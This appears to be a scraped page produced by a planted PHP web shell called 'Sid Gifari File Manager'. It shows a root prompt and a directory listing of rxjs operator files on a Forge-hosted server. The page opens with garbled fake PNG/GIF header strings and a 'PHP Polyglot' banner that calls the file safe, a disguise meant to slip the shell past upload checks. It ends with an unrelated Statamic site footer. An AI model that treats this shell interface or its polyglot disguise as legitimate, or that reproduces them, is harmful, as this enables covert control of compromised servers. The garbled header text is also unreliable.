$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-13

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / cpmonitor.on-forge.com / node_modules / rxjs / dist / esm5 / internal / operators /
root@Sid-Gifari:/home/forge/cpmonitor.on-forge.com/node_modules/rxjs/dist/esm5/internal/operators$


NameSizePermAction
📄 OperatorSubscriber.js 2140 bytes
📄 OperatorSubscriber.js.map 1565 bytes
📄 audit.js 1532 bytes
📄 audit.js.map 1351 bytes
📄 auditTime.js 351 bytes
📄 auditTime.js.map 425 bytes
📄 buffer.js 876 bytes
📄 buffer.js.map 897 bytes
📄 bufferCount.js 3047 bytes
📄 bufferCount.js.map 1448 bytes
📄 bufferTime.js 3435 bytes
📄 bufferTime.js.map 2393 bytes
📄 bufferToggle.js 1939 bytes
📄 bufferToggle.js.map 1423 bytes
📄 bufferWhen.js 1152 bytes
📄 bufferWhen.js.map 1140 bytes
📄 catchError.js 976 bytes
📄 catchError.js.map 955 bytes
📄 combineAll.js 135 bytes
📄 combineAll.js.map 226 bytes
📄 combineLatest.js 892 bytes
📄 combineLatest.js.map 777 bytes
📄 combineLatestAll.js 259 bytes
📄 combineLatestAll.js.map 332 bytes
📄 combineLatestWith.js 389 bytes
📄 combineLatestWith.js.map 327 bytes
📄 concat.js 588 bytes
📄 concat.js.map 586 bytes
📄 concatAll.js 132 bytes
📄 concatAll.js.map 246 bytes
📄 concatMap.js 281 bytes
📄 concatMap.js.map 413 bytes
📄 concatMapTo.js 355 bytes
📄 concatMapTo.js.map 437 bytes
📄 concatWith.js 354 bytes
📄 concatWith.js.map 309 bytes
📄 connect.js 676 bytes
📄 connect.js.map 756 bytes
📄 count.js 223 bytes
📄 count.js.map 411 bytes
📄 debounce.js 1426 bytes
📄 debounce.js.map 1246 bytes
📄 debounceTime.js 1568 bytes
📄 debounceTime.js.map 1430 bytes
📄 defaultIfEmpty.js 594 bytes
📄 defaultIfEmpty.js.map 635 bytes
📄 delay.js 374 bytes
📄 delay.js.map 446 bytes
📄 delayWhen.js 702 bytes
📄 delayWhen.js.map 839 bytes
📄 dematerialize.js 443 bytes
📄 dematerialize.js.map 496 bytes
📄 distinct.js 811 bytes
📄 distinct.js.map 910 bytes
📄 distinctUntilChanged.js 916 bytes
📄 distinctUntilChanged.js.map 911 bytes
📄 distinctUntilKeyChanged.js 290 bytes
📄 distinctUntilKeyChanged.js.map 491 bytes
📄 elementAt.js 690 bytes
📄 elementAt.js.map 805 bytes
📄 endWith.js 423 bytes
📄 endWith.js.map 406 bytes
📄 every.js 616 bytes
📄 every.js.map 695 bytes
📄 exhaust.js 111 bytes
📄 exhaust.js.map 214 bytes
📄 exhaustAll.js 192 bytes
📄 exhaustAll.js.map 291 bytes
📄 exhaustMap.js 1194 bytes
📄 exhaustMap.js.map 1275 bytes
📄 expand.js 465 bytes
📄 expand.js.map 554 bytes
📄 filter.js 428 bytes
📄 filter.js.map 546 bytes
📄 finalize.js 306 bytes
📄 finalize.js.map 388 bytes
📄 find.js 821 bytes
📄 find.js.map 968 bytes
📄 findIndex.js 225 bytes
📄 findIndex.js.map 344 bytes
📄 first.js 655 bytes
📄 first.js.map 838 bytes
📄 flatMap.js 105 bytes
📄 flatMap.js.map 214 bytes
📄 groupBy.js 3059 bytes
📄 groupBy.js.map 2708 bytes
📄 ignoreElements.js 350 bytes
📄 ignoreElements.js.map 435 bytes
📄 isEmpty.js 484 bytes
📄 isEmpty.js.map 544 bytes
📄 joinAllInternals.js 451 bytes
📄 joinAllInternals.js.map 599 bytes
📄 last.js 665 bytes
📄 last.js.map 836 bytes
📄 map.js 422 bytes
📄 map.js.map 529 bytes
📄 mapTo.js 142 bytes
📄 mapTo.js.map 268 bytes
📄 materialize.js 683 bytes
📄 materialize.js.map 736 bytes
📄 max.js 295 bytes
📄 max.js.map 570 bytes
📄 merge.js 652 bytes
📄 merge.js.map 671 bytes
📄 mergeAll.js 262 bytes
📄 mergeAll.js.map 333 bytes
📄 mergeInternals.js 2417 bytes
📄 mergeInternals.js.map 1959 bytes
📄 mergeMap.js 793 bytes
📄 mergeMap.js.map 914 bytes
📄 mergeMapTo.js 561 bytes
📄 mergeMapTo.js.map 565 bytes
📄 mergeScan.js 580 bytes
📄 mergeScan.js.map 669 bytes
📄 mergeWith.js 349 bytes
📄 mergeWith.js.map 307 bytes
📄 min.js 295 bytes
📄 min.js.map 570 bytes
📄 multicast.js 619 bytes
📄 multicast.js.map 631 bytes
📄 observeOn.js 776 bytes
📄 observeOn.js.map 844 bytes
📄 onErrorResumeNextWith.js 611 bytes
📄 onErrorResumeNextWith.js.map 523 bytes
📄 pairwise.js 504 bytes
📄 pairwise.js.map 600 bytes
📄 partition.js 289 bytes
📄 partition.js.map 444 bytes
📄 pluck.js 755 bytes
📄 pluck.js.map 746 bytes
📄 publish.js 333 bytes
📄 publish.js.map 494 bytes
📄 publishBehavior.js 402 bytes
📄 publishBehavior.js.map 438 bytes
📄 publishLast.js 361 bytes
📄 publishLast.js.map 410 bytes
📄 publishReplay.js 619 bytes
📄 publishReplay.js.map 670 bytes
📄 race.js 397 bytes
📄 race.js.map 343 bytes
📄 raceWith.js 567 bytes
📄 raceWith.js.map 534 bytes
📄 reduce.js 259 bytes
📄 reduce.js.map 379 bytes
📄 refCount.js 984 bytes
📄 refCount.js.map 969 bytes
📄 repeat.js 2263 bytes
📄 repeat.js.map 1733 bytes
📄 repeatWhen.js 1796 bytes
📄 repeatWhen.js.map 1454 bytes
📄 retry.js 2810 bytes
📄 retry.js.map 2006 bytes
📄 retryWhen.js 1231 bytes
📄 retryWhen.js.map 1126 bytes
📄 sample.js 836 bytes
📄 sample.js.map 854 bytes
📄 sampleTime.js 337 bytes
📄 sampleTime.js.map 404 bytes
📄 scan.js 248 bytes
📄 scan.js.map 365 bytes
📄 scanInternals.js 822 bytes
📄 scanInternals.js.map 858 bytes
📄 sequenceEqual.js 1717 bytes
📄 sequenceEqual.js.map 1610 bytes
📄 share.js 3370 bytes
📄 share.js.map 2658 bytes
📄 shareReplay.js 983 bytes
📄 shareReplay.js.map 868 bytes
📄 single.js 1163 bytes
📄 single.js.map 1120 bytes
📄 skip.js 166 bytes
📄 skip.js.map 296 bytes
📄 skipLast.js 979 bytes
📄 skipLast.js.map 936 bytes
📄 skipUntil.js 772 bytes
📄 skipUntil.js.map 784 bytes
📄 skipWhile.js 463 bytes
📄 skipWhile.js.map 598 bytes
📄 startWith.js 521 bytes
📄 startWith.js.map 606 bytes
📄 subscribeOn.js 334 bytes
📄 subscribeOn.js.map 443 bytes
📄 switchAll.js 187 bytes
📄 switchAll.js.map 289 bytes
📄 switchMap.js 1230 bytes
📄 switchMap.js.map 1174 bytes
📄 switchMapTo.js 355 bytes
📄 switchMapTo.js.map 437 bytes
📄 switchScan.js 512 bytes
📄 switchScan.js.map 660 bytes
📄 take.js 689 bytes
📄 take.js.map 697 bytes
📄 takeLast.js 1387 bytes
📄 takeLast.js.map 885 bytes
📄 takeUntil.js 521 bytes
📄 takeUntil.js.map 607 bytes
📄 takeWhile.js 582 bytes
📄 takeWhile.js.map 653 bytes
📄 tap.js 1784 bytes
📄 tap.js.map 1312 bytes
📄 throttle.js 1932 bytes
📄 throttle.js.map 1774 bytes
📄 throttleTime.js 413 bytes
📄 throttleTime.js.map 485 bytes
📄 throwIfEmpty.js 721 bytes
📄 throwIfEmpty.js.map 768 bytes
📄 timeInterval.js 862 bytes
📄 timeInterval.js.map 838 bytes
📄 timeout.js 2858 bytes
📄 timeout.js.map 2533 bytes
📄 timeoutWith.js 870 bytes
📄 timeoutWith.js.map 916 bytes
📄 timestamp.js 377 bytes
📄 timestamp.js.map 421 bytes
📄 toArray.js 336 bytes
📄 toArray.js.map 507 bytes
📄 window.js 1298 bytes
📄 window.js.map 1222 bytes
📄 windowCount.js 2066 bytes
📄 windowCount.js.map 1620 bytes
📄 windowTime.js 2959 bytes
📄 windowTime.js.map 2608 bytes
📄 windowToggle.js 2684 bytes
📄 windowToggle.js.map 2008 bytes
📄 windowWhen.js 1613 bytes
📄 windowWhen.js.map 1422 bytes
📄 withLatestFrom.js 1585 bytes
📄 withLatestFrom.js.map 1515 bytes
📄 zip.js 471 bytes
📄 zip.js.map 440 bytes
📄 zipAll.js 209 bytes
📄 zipAll.js.map 309 bytes
📄 zipWith.js 336 bytes
📄 zipWith.js.map 303 bytes
Backfron - Statamic
Statamic
Guayaquil, Ecuador
info@backfron.com